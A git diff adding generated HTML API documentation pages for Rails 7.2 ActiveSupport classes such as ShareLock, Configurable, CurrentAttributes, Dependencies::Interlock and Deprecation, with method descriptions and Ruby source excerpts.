+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Concurrency.html b/src/7.2/classes/ActiveSupport/Concurrency.html new file mode 100644 index 0000000000..0d16d1fa84 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Concurrency.html @@ -0,0 +1,75 @@ +--- +title: ActiveSupport::Concurrency +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Concurrency/LoadInterlockAwareMonitor.html b/src/7.2/classes/ActiveSupport/Concurrency/LoadInterlockAwareMonitor.html new file mode 100644 index 0000000000..4df6571df8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Concurrency/LoadInterlockAwareMonitor.html @@ -0,0 +1,66 @@ +--- +title: ActiveSupport::Concurrency::LoadInterlockAwareMonitor +layout: default +--- +
+ +
+
+ +
+ +

A monitor that will permit dependency loading while blocked waiting for the lock.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Concurrency/ShareLock.html b/src/7.2/classes/ActiveSupport/Concurrency/ShareLock.html new file mode 100644 index 0000000000..ff204977f9 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Concurrency/ShareLock.html @@ -0,0 +1,503 @@ +--- +title: ActiveSupport::Concurrency::ShareLock +layout: default +--- +
+ +
+
+ +
+ +

A share/exclusive lock, otherwise known as a read/write lock.

+ +

en.wikipedia.org/wiki/Readers%E2%80%93writer_lock

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + MonitorMixin + +
  • + +
+ + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 50
+      def initialize
+        super()
+
+        @cv = new_cond
+
+        @sharing = Hash.new(0)
+        @waiting = {}
+        @sleeping = {}
+        @exclusive_thread = nil
+        @exclusive_depth = 0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + exclusive(purpose: nil, compatible: [], after_compatible: [], no_wait: false) + +

+ + +
+

Execute the supplied block while holding the Exclusive lock. If no_wait is set and the lock is not immediately available, returns nil without yielding. Otherwise, returns the result of the block.

+ +

See start_exclusive for other options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 148
+      def exclusive(purpose: nil, compatible: [], after_compatible: [], no_wait: false)
+        if start_exclusive(purpose: purpose, compatible: compatible, no_wait: no_wait)
+          begin
+            yield
+          ensure
+            stop_exclusive(compatible: after_compatible)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sharing() + +

+ + +
+

Execute the supplied block while holding the Share lock.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 159
+      def sharing
+        start_sharing
+        begin
+          yield
+        ensure
+          stop_sharing
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_exclusive(purpose: nil, compatible: [], no_wait: false) + +

+ + +
+

Returns false if no_wait is set and the lock is not immediately available. Otherwise, returns true after the lock has been acquired.

+ +

purpose and compatible work together; while this thread is waiting for the exclusive lock, it will yield its share (if any) to any other attempt whose purpose appears in this attempt’s compatible list. This allows a β€œloose” upgrade, which, being less strict, prevents some classes of deadlocks.

+ +

For many resources, loose upgrades are sufficient: if a thread is awaiting a lock, it is not running any other code. With purpose matching, it is possible to yield only to other threads whose activity will not interfere.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 76
+      def start_exclusive(purpose: nil, compatible: [], no_wait: false)
+        synchronize do
+          unless @exclusive_thread == Thread.current
+            if busy_for_exclusive?(purpose)
+              return false if no_wait
+
+              yield_shares(purpose: purpose, compatible: compatible, block_share: true) do
+                wait_for(:start_exclusive) { busy_for_exclusive?(purpose) }
+              end
+            end
+            @exclusive_thread = Thread.current
+          end
+          @exclusive_depth += 1
+
+          true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_sharing() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 114
+      def start_sharing
+        synchronize do
+          if @sharing[Thread.current] > 0 || @exclusive_thread == Thread.current
+            # We already hold a lock; nothing to wait for
+          elsif @waiting[Thread.current]
+            # We're nested inside a +yield_shares+ call: we'll resume as
+            # soon as there isn't an exclusive lock in our way
+            wait_for(:start_sharing) { @exclusive_thread }
+          else
+            # This is an initial / outermost share call: any outstanding
+            # requests for an exclusive lock get to go first
+            wait_for(:start_sharing) { busy_for_sharing?(false) }
+          end
+          @sharing[Thread.current] += 1
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_exclusive(compatible: []) + +

+ + +
+

Relinquish the exclusive lock. Must only be called by the thread that called start_exclusive (and currently holds the lock).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 96
+      def stop_exclusive(compatible: [])
+        synchronize do
+          raise "invalid unlock" if @exclusive_thread != Thread.current
+
+          @exclusive_depth -= 1
+          if @exclusive_depth == 0
+            @exclusive_thread = nil
+
+            if eligible_waiters?(compatible)
+              yield_shares(compatible: compatible, block_share: true) do
+                wait_for(:stop_exclusive) { @exclusive_thread || eligible_waiters?(compatible) }
+              end
+            end
+            @cv.broadcast
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_sharing() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 131
+      def stop_sharing
+        synchronize do
+          if @sharing[Thread.current] > 1
+            @sharing[Thread.current] -= 1
+          else
+            @sharing.delete Thread.current
+            @cv.broadcast
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yield_shares(purpose: nil, compatible: [], block_share: false) + +

+ + +
+

Temporarily give up all held Share locks while executing the supplied block, allowing any compatible exclusive lock request to proceed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concurrency/share_lock.rb, line 171
+      def yield_shares(purpose: nil, compatible: [], block_share: false)
+        loose_shares = previous_wait = nil
+        synchronize do
+          if loose_shares = @sharing.delete(Thread.current)
+            if previous_wait = @waiting[Thread.current]
+              purpose = nil unless purpose == previous_wait[0]
+              compatible &= previous_wait[1]
+            end
+            compatible |= [false] unless block_share
+            @waiting[Thread.current] = [purpose, compatible]
+          end
+
+          @cv.broadcast
+        end
+
+        begin
+          yield
+        ensure
+          synchronize do
+            wait_for(:yield_shares) { @exclusive_thread && @exclusive_thread != Thread.current }
+
+            if previous_wait
+              @waiting[Thread.current] = previous_wait
+            else
+              @waiting.delete Thread.current
+            end
+            @sharing[Thread.current] = loose_shares if loose_shares
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Configurable.html b/src/7.2/classes/ActiveSupport/Configurable.html new file mode 100644 index 0000000000..de228d4295 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Configurable.html @@ -0,0 +1,144 @@ +--- +title: ActiveSupport::Configurable +layout: default +--- +
+ +
+
+ +
+ +

Active Support Configurable

+ +

Configurable provides a config method to store and retrieve configuration options as an OrderedOptions.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + config() + +

+ + +
+

Reads and writes attributes from a configuration OrderedOptions.

+ +
require "active_support/configurable"
+
+class User
+  include ActiveSupport::Configurable
+end
+
+user = User.new
+
+user.config.allowed_access = true
+user.config.level = 1
+
+user.config.allowed_access # => true
+user.config.level          # => 1
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 155
+    def config
+      @_config ||= self.class.config.inheritable_copy
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Configurable/ClassMethods.html b/src/7.2/classes/ActiveSupport/Configurable/ClassMethods.html new file mode 100644 index 0000000000..80bb6e2289 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Configurable/ClassMethods.html @@ -0,0 +1,272 @@ +--- +title: ActiveSupport::Configurable::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 30
+      def config
+        @_config ||= if respond_to?(:superclass) && superclass.respond_to?(:config)
+          superclass.config.inheritable_copy
+        else
+          # create a new "anonymous" class that will host the compiled reader methods
+          Class.new(Configuration).new
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configure() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 39
+      def configure
+        yield config
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + config_accessor(*names, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil) + +

+ + +
+

Allows you to add shortcut so that you don’t have to refer to attribute through config. Also look at the example for config to contrast.

+ +

Defines both class and instance config accessors.

+ +
class User
+  include ActiveSupport::Configurable
+  config_accessor :allowed_access
+end
+
+User.allowed_access # => nil
+User.allowed_access = false
+User.allowed_access # => false
+
+user = User.new
+user.allowed_access # => false
+user.allowed_access = true
+user.allowed_access # => true
+
+User.allowed_access # => false
+
+ +

The attribute name must be a valid method name in Ruby.

+ +
class User
+  include ActiveSupport::Configurable
+  config_accessor :"1_Badname"
+end
+# => NameError: invalid config attribute name
+
+ +

To omit the instance writer method, pass instance_writer: false. To omit the instance reader method, pass instance_reader: false.

+ +
class User
+  include ActiveSupport::Configurable
+  config_accessor :allowed_access, instance_reader: false, instance_writer: false
+end
+
+User.allowed_access = false
+User.allowed_access # => false
+
+User.new.allowed_access = true # => NoMethodError
+User.new.allowed_access        # => NoMethodError
+
+ +

Or pass instance_accessor: false, to omit both instance methods.

+ +
class User
+  include ActiveSupport::Configurable
+  config_accessor :allowed_access, instance_accessor: false
+end
+
+User.allowed_access = false
+User.allowed_access # => false
+
+User.new.allowed_access = true # => NoMethodError
+User.new.allowed_access        # => NoMethodError
+
+ +

Also you can pass default or a block to set up the attribute with a default value.

+ +
class User
+  include ActiveSupport::Configurable
+  config_accessor :allowed_access, default: false
+  config_accessor :hair_colors do
+    [:brown, :black, :blonde, :red]
+  end
+end
+
+User.allowed_access # => false
+User.hair_colors # => [:brown, :black, :blonde, :red]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 111
+      def config_accessor(*names, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil) # :doc:
+        names.each do |name|
+          raise NameError.new("invalid config attribute name") unless /\A[_A-Za-z]\w*\z/.match?(name)
+
+          reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
+          writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
+
+          singleton_class.class_eval reader, __FILE__, reader_line
+          singleton_class.class_eval writer, __FILE__, writer_line
+
+          if instance_accessor
+            class_eval reader, __FILE__, reader_line if instance_reader
+            class_eval writer, __FILE__, writer_line if instance_writer
+          end
+
+          send("#{name}=", block_given? ? yield : default)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Configurable/Configuration.html b/src/7.2/classes/ActiveSupport/Configurable/Configuration.html new file mode 100644 index 0000000000..7ac2be1812 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Configurable/Configuration.html @@ -0,0 +1,153 @@ +--- +title: ActiveSupport::Configurable::Configuration +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + compile_methods!(keys) + +

+ + +
+

Compiles reader methods so we don’t have to go through method_missing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 20
+      def self.compile_methods!(keys)
+        keys.reject { |m| method_defined?(m) }.each do |key|
+          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+            def #{key}; _get(#{key.inspect}); end
+          RUBY
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compile_methods!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/configurable.rb, line 15
+      def compile_methods!
+        self.class.compile_methods!(keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ConfigurationFile.html b/src/7.2/classes/ActiveSupport/ConfigurationFile.html new file mode 100644 index 0000000000..edbbc38ff3 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ConfigurationFile.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::ConfigurationFile +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ConfigurationFile/FormatError.html b/src/7.2/classes/ActiveSupport/ConfigurationFile/FormatError.html new file mode 100644 index 0000000000..04efc5b5c3 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ConfigurationFile/FormatError.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::ConfigurationFile::FormatError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CoreExt.html b/src/7.2/classes/ActiveSupport/CoreExt.html new file mode 100644 index 0000000000..aa1efca41c --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CoreExt.html @@ -0,0 +1,69 @@ +--- +title: ActiveSupport::CoreExt +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CoreExt/ERBUtil.html b/src/7.2/classes/ActiveSupport/CoreExt/ERBUtil.html new file mode 100644 index 0000000000..c6de6c4cb0 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CoreExt/ERBUtil.html @@ -0,0 +1,54 @@ +--- +title: ActiveSupport::CoreExt::ERBUtil +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CoreExt/ERBUtilPrivate.html b/src/7.2/classes/ActiveSupport/CoreExt/ERBUtilPrivate.html new file mode 100644 index 0000000000..8f9f7b6c07 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CoreExt/ERBUtilPrivate.html @@ -0,0 +1,68 @@ +--- +title: ActiveSupport::CoreExt::ERBUtilPrivate +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CurrentAttributes.html b/src/7.2/classes/ActiveSupport/CurrentAttributes.html new file mode 100644 index 0000000000..f497b71e8d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CurrentAttributes.html @@ -0,0 +1,532 @@ +--- +title: ActiveSupport::CurrentAttributes +layout: default +--- +
+ +
+
+ +
+ +

Current Attributes

+ +

Abstract super class that provides a thread-isolated attributes singleton, which resets automatically before and after each request. This allows you to keep all the per-request attributes easily available to the whole system.

+ +

The following full app-like example demonstrates how to use a Current class to facilitate easy access to the global, per-request attributes without passing them deeply around everywhere:

+ +
# app/models/current.rb
+class Current < ActiveSupport::CurrentAttributes
+  attribute :account, :user
+  attribute :request_id, :user_agent, :ip_address
+
+  resets { Time.zone = nil }
+
+  def user=(user)
+    super
+    self.account = user.account
+    Time.zone    = user.time_zone
+  end
+end
+
+# app/controllers/concerns/authentication.rb
+module Authentication
+  extend ActiveSupport::Concern
+
+  included do
+    before_action :authenticate
+  end
+
+  private
+    def authenticate
+      if authenticated_user = User.find_by(id: cookies.encrypted[:user_id])
+        Current.user = authenticated_user
+      else
+        redirect_to new_session_url
+      end
+    end
+end
+
+# app/controllers/concerns/set_current_request_details.rb
+module SetCurrentRequestDetails
+  extend ActiveSupport::Concern
+
+  included do
+    before_action do
+      Current.request_id = request.uuid
+      Current.user_agent = request.user_agent
+      Current.ip_address = request.ip
+    end
+  end
+end
+
+class ApplicationController < ActionController::Base
+  include Authentication
+  include SetCurrentRequestDetails
+end
+
+class MessagesController < ApplicationController
+  def create
+    Current.account.messages.create(message_params)
+  end
+end
+
+class Message < ApplicationRecord
+  belongs_to :creator, default: -> { Current.user }
+  after_create { |message| Event.create(record: message) }
+end
+
+class Event < ApplicationRecord
+  before_create do
+    self.request_id = Current.request_id
+    self.user_agent = Current.user_agent
+    self.ip_address = Current.ip_address
+  end
+end
+
+ +

A word of caution: It’s easy to overdo a global singleton like Current and tangle your model as a result. Current should only be used for a few, top-level globals, like account, user, and request details. The attributes stuck in Current should be used by more or less all actions on all requests. If you start sticking controller-specific attributes in there, you’re going to create a mess.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + attributes
+ + + + +

Class Public methods

+ +
+

+ + after_reset(*methods, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: resets +
+ + + + +
+ +
+

+ + attribute(*names, default: NOT_SET) + +

+ + +
+

Declares one or more attributes that will be given both class and instance accessor methods.

+ +

Options

+
  • +

    :default - The default value for the attributes. If the value

    +
+ +

is a proc or lambda, it will be called whenever an instance is constructed. Otherwise, the value will be duplicated with #dup. Default values are re-assigned when the attributes are reset.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 114
+      def attribute(*names, default: NOT_SET)
+        invalid_attribute_names = names.map(&:to_sym) & INVALID_ATTRIBUTE_NAMES
+        if invalid_attribute_names.any?
+          raise ArgumentError, "Restricted attribute names: #{invalid_attribute_names.join(", ")}"
+        end
+
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |owner|
+          names.each do |name|
+            owner.define_cached_method(name, namespace: :current_attributes) do |batch|
+              batch <<
+                "def #{name}" <<
+                "attributes[:#{name}]" <<
+                "end"
+            end
+            owner.define_cached_method("#{name}=", namespace: :current_attributes) do |batch|
+              batch <<
+                "def #{name}=(value)" <<
+                "attributes[:#{name}] = value" <<
+                "end"
+            end
+          end
+        end
+
+        Delegation.generate(singleton_class, names, to: :instance, nilable: false, signature: "")
+        Delegation.generate(singleton_class, names.map { |n| "#{n}=" }, to: :instance, nilable: false, signature: "value")
+
+        self.defaults = defaults.merge(names.index_with { default })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_reset(*methods, &block) + +

+ + +
+

Calls this callback before reset is called on the instance. Used for resetting external collaborators that depend on current values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 144
+      def before_reset(*methods, &block)
+        set_callback :reset, :before, *methods, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance() + +

+ + +
+

Returns singleton instance for this class in this thread. If none exists, one is created.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 102
+      def instance
+        current_instances[current_instances_key] ||= new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 199
+    def initialize
+      @attributes = resolve_defaults
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resets(*methods, &block) + +

+ + +
+

Calls this callback after reset is called on the instance. Used for resetting external collaborators, like Time.zone.

+
+ + + +
+ Also aliased as: after_reset +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 149
+      def resets(*methods, &block)
+        set_callback :reset, :after, *methods, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + reset() + +

+ + +
+

Reset all attributes. Should be called before and after actions, when used as a per-request singleton.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 218
+    def reset
+      run_callbacks :reset do
+        self.attributes = resolve_defaults
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set(attributes, &block) + +

+ + +
+

Expose one or more attributes within a block. Old values are returned after the block concludes. Example demonstrating the common use of needing to set Current attributes outside the request-cycle:

+ +
class Chat::PublicationJob < ApplicationJob
+  def perform(attributes, room_number, creator)
+    Current.set(person: creator) do
+      Chat::Publisher.publish(attributes: attributes, room_number: room_number)
+    end
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/current_attributes.rb, line 213
+    def set(attributes, &block)
+      with(**attributes, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/DelegationError.html b/src/7.2/classes/ActiveSupport/DelegationError.html new file mode 100644 index 0000000000..f6e5a3175a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/DelegationError.html @@ -0,0 +1,66 @@ +--- +title: ActiveSupport::DelegationError +layout: default +--- +
+ +
+
+ +
+ +

Error generated by delegate when a method is called on nil and allow_nil option is not used.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Dependencies.html b/src/7.2/classes/ActiveSupport/Dependencies.html new file mode 100644 index 0000000000..c65513bbf5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Dependencies.html @@ -0,0 +1,203 @@ +--- +title: ActiveSupport::Dependencies +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + load_interlock(&block) + +

+ + +
+

Execute the supplied block while holding an exclusive lock, preventing any other thread from being inside a run_interlock block at the same time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies.rb, line 24
+    def self.load_interlock(&block)
+      interlock.loading(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run_interlock(&block) + +

+ + +
+

Execute the supplied block without interference from any concurrent loads.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies.rb, line 17
+    def self.run_interlock(&block)
+      interlock.running(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unload_interlock(&block) + +

+ + +
+

Execute the supplied block while holding an exclusive lock, preventing any other thread from being inside a run_interlock block at the same time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies.rb, line 31
+    def self.unload_interlock(&block)
+      interlock.unloading(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Dependencies/Interlock.html b/src/7.2/classes/ActiveSupport/Dependencies/Interlock.html new file mode 100644 index 0000000000..6dda25153b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Dependencies/Interlock.html @@ -0,0 +1,380 @@ +--- +title: ActiveSupport::Dependencies::Interlock +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + done_running() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 32
+      def done_running
+        @lock.stop_sharing
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + done_unloading() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 24
+      def done_unloading
+        @lock.stop_exclusive(compatible: [:load, :unload])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + loading(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 12
+      def loading(&block)
+        @lock.exclusive(purpose: :load, compatible: [:load], after_compatible: [:load], &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permit_concurrent_loads(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 40
+      def permit_concurrent_loads(&block)
+        @lock.yield_shares(compatible: [:load], &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + running(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 36
+      def running(&block)
+        @lock.sharing(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_running() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 28
+      def start_running
+        @lock.start_sharing
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_unloading() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 20
+      def start_unloading
+        @lock.start_exclusive(purpose: :unload, compatible: [:load, :unload])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unloading(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/interlock.rb, line 16
+      def unloading(&block)
+        @lock.exclusive(purpose: :unload, compatible: [:load, :unload], after_compatible: [:load, :unload], &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Dependencies/RequireDependency.html b/src/7.2/classes/ActiveSupport/Dependencies/RequireDependency.html new file mode 100644 index 0000000000..2dfc362dca --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Dependencies/RequireDependency.html @@ -0,0 +1,113 @@ +--- +title: ActiveSupport::Dependencies::RequireDependency +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + require_dependency(filename) + +

+ + +
+

Warning: This method is obsolete. The semantics of the autoloader match Ruby’s and you do not need to be defensive with load order anymore. Just refer to classes and modules normally.

+ +

Engines that do not control the mode in which their parent application runs should call require_dependency where needed in case the runtime mode is :classic.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/dependencies/require_dependency.rb, line 11
+  def require_dependency(filename)
+    filename = filename.to_path if filename.respond_to?(:to_path)
+
+    unless filename.is_a?(String)
+      raise ArgumentError, "the file name must be either a String or implement #to_path -- you passed #{filename.inspect}"
+    end
+
+    if abspath = ActiveSupport::Dependencies.search_for_file(filename)
+      require abspath
+    else
+      require filename
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation.html b/src/7.2/classes/ActiveSupport/Deprecation.html new file mode 100644 index 0000000000..12c0080774 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation.html @@ -0,0 +1,311 @@ +--- +title: ActiveSupport::Deprecation +layout: default +--- +
+ +
+
+ +
+ +

Active Support Deprecation

+ +

Deprecation specifies the API used by Rails to deprecate methods, instance variables, objects, and constants. It’s also available for gems or applications.

+ +

For a gem, use Deprecation.new to create a Deprecation object and store it in your module or class (in order for users to be able to configure it).

+ +
module MyLibrary
+  def self.deprecator
+    @deprecator ||= ActiveSupport::Deprecation.new("2.0", "MyLibrary")
+  end
+end
+
+ +

For a Railtie or Engine, you may also want to add it to the application’s deprecators, so that the application’s configuration can be applied to it.

+ +
module MyLibrary
+  class Railtie < Rails::Railtie
+    initializer "my_library.deprecator" do |app|
+      app.deprecators[:my_library] = MyLibrary.deprecator
+    end
+  end
+end
+
+ +

With the above initializer, configuration settings like the following will affect MyLibrary.deprecator:

+ +
# in config/environments/test.rb
+config.active_support.deprecation = :raise
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
